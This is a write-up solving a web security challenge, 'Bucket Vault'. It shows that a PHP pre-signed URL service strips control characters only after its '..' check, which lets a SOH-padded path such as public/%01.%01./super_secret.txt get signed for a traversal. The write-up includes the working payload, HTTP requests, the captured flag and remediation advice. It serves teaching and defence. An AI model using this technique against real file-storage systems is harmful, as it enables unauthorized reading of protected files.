Dojo challenge #50 Bucket Vault solution

April 29, 2026

Article hero image

Huge props to NoobosaurusR3x, 3th1c_yuk1, and - gg to you all! 🎁 Your swag pack is on its way

The solution and the writeup provided were written by the hunter: 3th1c_yuk1_

Description

Bucket Vault implements a secure file storage system using pre-signed URLs with signatures. Generate time-limited access tokens for files stored in the vault, with built-in signature verification to ensure only authorized requests can retrieve protected content.

PoC

Description

Bucket Vault is a PHP-based file storage system implementing AWS S3-style pre-signed URLs using HMAC-SHA256 signatures. It allows users to:

  1. Sign a file path (restricted to the public/ prefix) to obtain a time-limited access token (expires + signature).
  2. Download a file by presenting a valid filename, expires, and signature.

The goal is to read files/super_secret.txt, which is NOT in the public/ directory and therefore signing access to it is explicitly blocked.

The vulnerability arises from an asymmetry between where sanitizeFilename() is invoked during signing vs. where path traversal is validated: the sanitizer is called INSIDE generatePresignedUrl() after the security checks, meaning an attacker can smuggle control characters through the checks but have them stripped before HMAC computation, creating a signed token for a traversed path without ever triggering the .. guard.

Exploitation

The Security Checks (sign action)

1} elseif ($action === 'sign') {
2 if (str_contains($filename, '..')) {
3 $result = 'error';
4 $error = 'Forbidden chars in filename.';
5 } elseif (!str_starts_with($filename, 'public/')) {
6 $result = 'error';
7 $error = 'Access denied. Signing is restricted to the public/ prefix.';
8 } else {
9 $presigned = generatePresignedUrl($filename, AWS_SECRET_KEY, EXPIRES_IN);

The check str_contains($filename, '..') searches for two adjacent dots. It does NOT strip or normalize control characters before checking.

The Sanitizer (called inside signing function)

1function sanitizeFilename($filename) {
2 return preg_replace('/[\x00-\x1F\x7F]/', '', $filename);
3}
4
5function generatePresignedUrl($file_path, $secret_key, $expires_in) {
6 $file_path = sanitizeFilename($file_path); // sanitized AFTER security checks
7 $timestamp = time() + $expires_in;
8 $string_to_sign = "GET\n/files/{$file_path}\n{$timestamp}";
9 $signature = base64_encode(hash_hmac('sha256', $string_to_sign, $secret_key, true));
10 return ['expires' => $timestamp, 'signature' => $signature];
11}

sanitizeFilename() removes bytes \x00-\x1F (control characters) and \x7F. This is called after the .. check, so the path used for HMAC signing is the sanitized (clean) path.

The Verifier (no sanitization)

1function verifySignature($filename, $expires, $signature, $secret_key) {
2 if (time() > $expires) {
3 return ['valid' => false, 'error' => 'Signature expired.'];
4 }
5 $string_to_sign = "GET\n/files/{$filename}\n{$expires}"; // raw, unsanitized
6 $expected_signature = base64_encode(hash_hmac('sha256', $string_to_sign, $secret_key, true));
7 if (!hash_equals($expected_signature, $signature)) {
8 return ['valid' => false, 'error' => 'Invalid signature.'];
9 }
10 return ['valid' => true];
11}

verifySignature() uses the filename as-is -- no sanitization is applied. This means verification expects the path that was actually signed (the post-sanitize path).

The root cause is a divergence in pathname processing between the sign and verify flows:

  • Sign: security check (str_contains($filename, '..')) -- Not sanitized, uses raw input for validation only
  • Sign: HMAC computation (generatePresignedUrl() then sanitizeFilename()) -- Sanitized, HMAC uses clean path
  • Download: HMAC verification (verifySignature()) -- Not sanitized, raw input path used for HMAC

Attack flow:

  1. Craft a filename containing control characters separating the dots in .., so str_contains($filename, '..') returns false because there are no two adjacent dots.
  2. After sanitizeFilename() strips the control characters, the path becomes a valid ../ traversal string.
  3. The HMAC is signed for the sanitized traversal path (e.g., public/../super_secret.txt).
  4. On download, submit the clean traversal path public/../super_secret.txt -- no control chars needed -- and verifySignature() computes the same HMAC -> signature matches.
  5. getFileContents("public/../super_secret.txt") resolves to files/super_secret.txt -> flag read.

PoC

Step 1: Generate a Presigned Token for the Traversed Path

Input fields (INPUTS tab):

  • action = sign
  • filename = public/%01.%01./super_secret.txt (%01 = SOH byte, U+0001)
  • expires = (empty)
  • signature = (empty)

Explanation of the payload:

  • \x01 is the SOH control character (byte 0x01)
  • The string \x01.\x01. contains no adjacent dots -- str_contains for .. returns false
  • str_starts_with("public/...", "public/") returns true
  • After sanitizeFilename() strips \x01: public/../super_secret.txt
  • HMAC signed for: "GET\n/files/public/../super_secret.txt\n{timestamp}"

Via the Dojo API (equivalent HTTP request):

1POST /api/challenges/1aa1280d-e4af-4f3b-9159-3c227224a11f
2Content-Type: application/x-www-form-urlencoded
3
4action=sign&filename=public%2F%01.%01.%2Fsuper_secret.txt&expires=&signature=

Response:

1File Path: public/../super_secret.txt
2Expires: 1774674274
3Signature: BdHlGd810u62/VDc0w19IzHIdyrPiKbkvXRcW0eV8PU=

Step 2: Download the Protected File Using the Obtained Token

Input fields:

  • action = download
  • filename = public/../super_secret.txt
  • expires = 1774674274
  • signature = BdHlGd810u62/VDc0w19IzHIdyrPiKbkvXRcW0eV8PU=

Via the Dojo API:

1POST /api/challenges/1aa1280d-e4af-4f3b-9159-3c227224a11f
2Content-Type: application/x-www-form-urlencoded
3
4action=download&filename=public%2F..%2Fsuper_secret.txt&expires=1774674274&signature=BdHlGd810u62%2FVDc0w19IzHIdyrPiKbkvXRcW0eV8PU%3D

Result:

1File Retrieved
2Signature verified successfully
3
4D0n7_l3t_M3_c0n7tr0l_F1l3n4m3!!

API response: "flagged": true

Flag: D0n7_l3t_M3_c0n7tr0l_F1l3n4m3!!

Risk

An unauthenticated attacker can read any file stored under the files/ directory -- including files explicitly protected from signing (i.e., files outside public/). The secret vault file files/super_secret.txt is fully readable. Since the path traversal allows arbitrary .. navigation, this could expose any file on the server filesystem that is readable by the PHP process.

Remediation

The core fix is to ensure sanitizeFilename() is called before any security checks, not after them. Additionally, use realpath() to canonicalize paths and enforce they remain within the allowed directory:

The general principle: always sanitize and normalize untrusted input before applying security checks, never after.